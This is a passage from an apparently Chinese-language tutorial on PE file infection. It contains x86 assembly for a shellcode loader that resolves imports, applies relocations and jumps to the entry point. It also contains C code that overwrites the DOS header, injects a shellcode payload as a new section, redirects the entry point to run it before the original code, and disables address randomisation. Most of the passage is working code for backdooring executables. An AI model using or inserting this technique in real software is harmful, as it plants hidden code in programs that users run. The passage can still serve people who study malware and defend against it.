add eax, ebp ; eax = address of GetProcAddress
push eax ; push address of GetProcAddress/LoadLibraryA
lodsd
sub cl, byte [esi]
jnz walk_names
;-----------------------------------------------------------------------------
;save the pointers to the PE structure
;-----------------------------------------------------------------------------
; stack looks like:
; ImageBase, pushed by header code
; ret to header code 4 bytes
; pushad registers 0x20 bytes
; GetProcAddress 4 bytes
; LoadLibraryA <== esp
mov esi, dword [esp + krncrcstk_size + 20h + 4] ; esi = ImageBase
mov ebp, dword [esi + lfanew] ; ebp = RVA of PE signature
add ebp, esi ; ebp = address of PE signature
push esi
mov ebx, esp ; ebx = address of ImageBase
mov edi, esi ; edi = ImageBase
;-----------------------------------------------------------------------------
;import DLL
;-----------------------------------------------------------------------------
pushad
mov cl, IMAGE_DIRECTORY_ENTRY_IMPORT
mov ebp, dword [ecx + ebp] ; ebp = RVA of Import Table
test ebp, ebp ; check if PE has import table
je import_popad ; if import table not found, skip loading
add ebp, edi ; ebp = address of Import Table
import_dll:
mov ecx, dword [ebp + _IMAGE_IMPORT_DESCRIPTOR.idName] ; ecx = RVA of Import DLL Name
jecxz import_popad ; jmp if ecx == 0
add ecx, dword [ebx] ; ecx = address of Import DLL Name
push ecx ; address of Import DLL Name
call dword [ebx + mapstk_size + krncrcstk.kLoadLibraryA] ; LoadLibraryA
xchg ecx, eax
mov edi, dword [ebp + _IMAGE_IMPORT_DESCRIPTOR.idFirstThunk] ; edi = RVA of Import Address Table
mov esi, dword [ebp + _IMAGE_IMPORT_DESCRIPTOR.idOriginalFirstThunk]; esi = RVA of Import Name Table
test esi, esi ; if OriginalFirstThunk is NULL...
cmove esi, edi ; use FirstThunk instead of OriginalFirstThunk
add esi, dword [ebx] ; convert RVA to VA
add edi, dword [ebx]
import_thunks:
lodsd ; eax = [esi], RVA of function name
test eax, eax
je import_next ; reach 0x000000
btr eax, 31
jc import_push
add eax, dword [ebx]; address of function Name
inc eax
inc eax
import_push:
push ecx ; address of Import DLL Name, save ecx
push eax ; address of function name
push ecx ; address of Import DLL Name
call dword [ebx + mapstk_size + krncrcstk.kGetProcAddress]
pop ecx ; restore ecx
stosd ; store address of function to [edi]
jmp import_thunks
import_next:
add ebp, _IMAGE_IMPORT_DESCRIPTOR_size ; turn to import next DLL functions
jmp import_dll
import_popad:
popad
;-----------------------------------------------------------------------------
;apply relocations
;-----------------------------------------------------------------------------
mov cl, IMAGE_DIRECTORY_ENTRY_RELOCS
lea edx, dword [ebp + ecx] ; relocation entry in data directory
add edi, dword [edx] ; address of relocation block table
xor ecx, ecx
reloc_block:
pushad
mov ecx, dword [edi + IMAGE_BASE_RELOCATION.reSizeOfBlock] ; ecx = size of block
sub ecx, IMAGE_BASE_RELOCATION_size ; ecx = size of block - 8(meta info size)
cdq ; edx = 0, because eax = 0
reloc_addr:
movzx eax, word [edi + edx + IMAGE_BASE_RELOCATION_size] ; eax = firt reloc entry (16bits: 4 bits type, 12 bits offset)
push eax ; save reloc entry
and ah, 0f0h ; get type of reloc entry
cmp ah, IMAGE_REL_BASED_HIGHLOW << 4 ; if reloc type == HIGHLOW
pop eax ; restore reloc entry
jne reloc_abs ; another type not HIGHLOW
and ah, 0fh ; get offset
add eax, dword [edi + IMAGE_BASE_RELOCATION.rePageRVA] ; eax = RVA of reloc address
add eax, dword [ebx] ; eax = address of reloc address
mov esi, dword [eax] ; esi = old reloc address
sub esi, dword [ebp + _IMAGE_NT_HEADERS.nthOptionalHeader + _IMAGE_OPTIONAL_HEADER.ohImageBasex]
add esi, dword [ebx] ; new reloc address = old reloc address - old ImageBase + new ImageBase
mov dword [eax], esi ; change reloc address
xor eax, eax ; eax = 0
reloc_abs:
test eax, eax ; check for IMAGE_REL_BASED_ABSOLUTE
jne hldr_exit ; not supported relocation type
inc edx ; counter += 2
inc edx
cmp ecx, edx ; reloc entry left
jg reloc_addr
popad ; relocated a block
add ecx, dword [edi + IMAGE_BASE_RELOCATION.reSizeOfBlock] ; ecx = current reloc block size
add edi, dword [edi + IMAGE_BASE_RELOCATION.reSizeOfBlock] ; edi = next reloc position
cmp dword [edx + 4], ecx ; if end of reloc block is reached
jg reloc_block
;-----------------------------------------------------------------------------
;call entrypoint
;
;to a DLL main:
;push 0
;push 1
;push dword [ebx]
;mov eax, dword [ebp + _IMAGE_NT_HEADERS.nthOptionalHeader + _IMAGE_OPTIONAL_HEADER.ohAddressOfEntryPoint]
;add eax, dword [ebx]
;call eax
;
;to a RVA (an exported function's RVA, for example):
;
;mov eax, 0xdeadf00d ; replace with addr
;add eax, dword [ebx]
;call eax
;-----------------------------------------------------------------------------
xor ecx, ecx
mov eax, dword [ebp + _IMAGE_NT_HEADERS.nthOptionalHeader + _IMAGE_OPTIONAL_HEADER.ohAddressOfEntryPoint]
add eax, dword [ebx]
call eax
;-----------------------------------------------------------------------------
;if fails or returns from host, restore stack and registers and return (somewhere)
;-----------------------------------------------------------------------------
hldr_exit:
lea esp, dword [ebx + mapstk_size + krncrcstk_size]
popad
ret 4
hldr_end:
hldr32.inc
CREATE_ALWAYS equ 2
FILE_WRITE_DATA equ 2
PAGE_EXECUTE_READWRITE equ 40h
MEM_COMMIT equ 1000h
MEM_RESERVE equ 2000h
tebProcessEnvironmentBlock equ 30h
pebLdr equ 0ch
ldrInLoadOrderModuleList equ 0ch
mlDllBase equ 18h
lfanew equ 3ch
IMAGE_DIRECTORY_ENTRY_EXPORT equ 78h
IMAGE_DIRECTORY_ENTRY_IMPORT equ 80h
IMAGE_DIRECTORY_ENTRY_RELOCS equ 0a0h
IMAGE_REL_BASED_HIGHLOW equ 3
struc mapstk
.hImage: resd 1
endstruc
struc krncrcstk
.kLoadLibraryA: resd 1
.kGetProcAddress: resd 1
endstruc
struc _IMAGE_FILE_HEADER
.fhMachine: resw 1
.fhNumberOfSections: resw 1
.fhTimeDateStamp: resd 1
.fhPointerToSymbolTable: resd 1
.fhNumberOfSymbols: resd 1
.fhSizeOfOptionalHeader: resw 1
.fhCharacteristics: resw 1
endstruc
struc _IMAGE_OPTIONAL_HEADER
.ohMagic: resw 1
.ohMajorLinkerVersion: resb 1
.ohMinorLinkerVersion: resb 1
.ohSizeOfCode: resd 1
.ohSizeOfInitializedData: resd 1
.ohSizeOfUninitializedData: resd 1
.ohAddressOfEntryPoint: resd 1
.ohBaseOfCode: resd 1
.ohBaseOfData: resd 1
.ohImageBasex: resd 1
.ohSectionAlignment: resd 1
.ohFileAlignment: resd 1
.ohMajorOperatingSystemVersion: resw 1
.ohMinorOperatingSystemVersion: resw 1
.ohMajorImageVersion: resw 1
.ohMinorImageVersion: resw 1
.ohMajorSubsystemVersion: resw 1
.ohMinorSubsystemVersion: resw 1
.ohWin32VersionValue: resd 1
.ohSizeOfImage: resd 1
.ohSizeOfHeaders: resd 1
endstruc
struc _IMAGE_NT_HEADERS
.nthSignature: resd 1
.nthFileHeader: resb _IMAGE_FILE_HEADER_size
.nthOptionalHeader: resb _IMAGE_OPTIONAL_HEADER_size
endstruc
struc _IMAGE_SECTION_HEADER
.shName: resb 8
.shVirtualSize: resd 1
.shVirtualAddress: resd 1
.shSizeOfRawData: resd 1
.shPointerToRawData: resd 1
.shPointerToRelocations: resd 1
.shPointerToLinenumbers: resd 1
.shNumberOfRelocations: resw 1
.shNumberOfLinenumbers: resw 1
.shCharacteristics: resd 1
endstruc
struc _IMAGE_IMPORT_DESCRIPTOR
.idOriginalFirstThunk: resd 1
.idTimeDateStamp: resd 1
.idForwarderChain: resd 1
.idName: resd 1
.idFirstThunk: resd 1
endstruc
struc IMAGE_BASE_RELOCATION
.rePageRVA: resd 1
.reSizeOfBlock: resd 1
endstruc
struc _IMAGE_EXPORT_DIRECTORY
.edCharacteristics: resd 1
.edTimeDateStamp: resd 1
.edMajorVersion: resw 1
.edMinorVersion: resw 1
.edName: resd 1
.edBase: resd 1
.edNumberOfFunctions: resd 1
.edNumberOfNames: resd 1
.edAddressOfFunctions: resd 1
.edAddressOfNames: resd 1
.edAddressOfNameOrdinals: resd 1
endstruc
PE DOS Header 的修改
PE DOS Header 相當於 shellcode 最前面的一部分代碼。PE DOS Header 中最重要的就是前兩個字節 ,DOS Signature,並且需要保證這一部分代碼長度小於 0x3c,因為 0x3c 位置存放着 PE Signature 的 RVA。
PE DOS Header 前兩個字節為 0x4d, 0x5a。可以通過 [intel x86 opcode](coder32 edition | X86 Opcode and Instruction Reference 1.12 (x86asm.net)) 確定機器碼對應的匯編指令。下面這張圖片也有助於理解 opcode 的分布。
void overwriteHeader(BYTE* file, DWORD addr) {
BYTE redir_code[] = "\x4D" //dec ebp
"\x5A" //pop edx
"\x45" //inc ebp
"\x52" //push edx
"\xE8\x00\x00\x00\x00" //call <next_line>
"\x5B" // pop ebx
"\x48\x83\xEB\x09" // sub ebx,9
"\x53" // push ebx (Image Base)
"\x48\x81\xC3" // add ebx,
"\x59\x04\x00\x00" // value
"\xFF\xD3" // call ebx
"\xc3"; // ret
size_t offset = sizeof(redir_code) - 8;
memcpy(redir_code + offset, &addr, sizeof(DWORD));
memcpy(file, redir_code, sizeof(redir_code));
}
修改 PE 執行流程
構建 payload
實現 shellcode 之后,下一步實現修改 PE 執行流程,使得先執行 shellcode,再返回原來的 EntryPoint 執行的效果。
printf("building payload...\n");
BYTE prefix[] = {
0xe8, 0x06, 0x00, 0x00, 0x00, // call shellcode
0xe8, 0x00, 0x00, 0x00, 0x00, // call Entry Point
0xc3 // ret
};
size_t shellcodeSize = strlen(sc);
BYTE* payload = (BYTE*)malloc(sizeof prefix + shellcodeSize);
if (payload == NULL) {
perror("malloc");
exit(EXIT_FAILURE);
}
memcpy(payload, prefix, sizeof prefix);
memcpy(payload + sizeof prefix, sc, shellcodeSize);
DWORD oldEntryPoint = pefile.pimageNTHeaders->OptionalHeader.AddressOfEntryPoint;
DWORD newEntryPoint =
pefile.ppimageSectionHeader[pefile.pimageNTHeaders->FileHeader.NumberOfSections - 1]->VirtualAddress +
align(pefile.ppimageSectionHeader[pefile.pimageNTHeaders->FileHeader.NumberOfSections - 1]->Misc.VirtualSize,
pefile.pimageNTHeaders->OptionalHeader.SectionAlignment);
DWORD offset = oldEntryPoint - newEntryPoint - 10;
printf("old Entry: %08x, new Entry: %08x, offset: %08x\n", oldEntryPoint, newEntryPoint, offset);
memcpy(payload + 6, &offset, sizeof(DWORD));
payload 包括兩部分
- prefix,prefix 的流程:
- 跳轉到 shellcode
- 跳轉到舊 Entry Point
- shellcode,prefix 后面跟着 shellcode
插入新節
構建好 payload 之后,將 payload 作為新節插入 PE 文件中。
// insert shellcode to a new section
printf("insert new section...\n");
insertNewCodeSection(&pefile, payload, sizeof prefix + shellcodeSize);
修改 PE 入口點
插入新節后,修改函數入口點為新節 RVA。
// change Entry Point to newly inserted section
pefile.pimageNTHeaders->OptionalHeader.AddressOfEntryPoint = newEntryPoint;
printf("change Adress of Entry Point to %x\n", newEntryPoint);
修改 DLL Characteristic
關閉 DLL 地址隨機化。
pefile.pimageNTHeaders->OptionalHeader.DllCharacteristics = 0x8100;
保存 PE 文件
// save PE file
PESave(&pefile, argv[1]);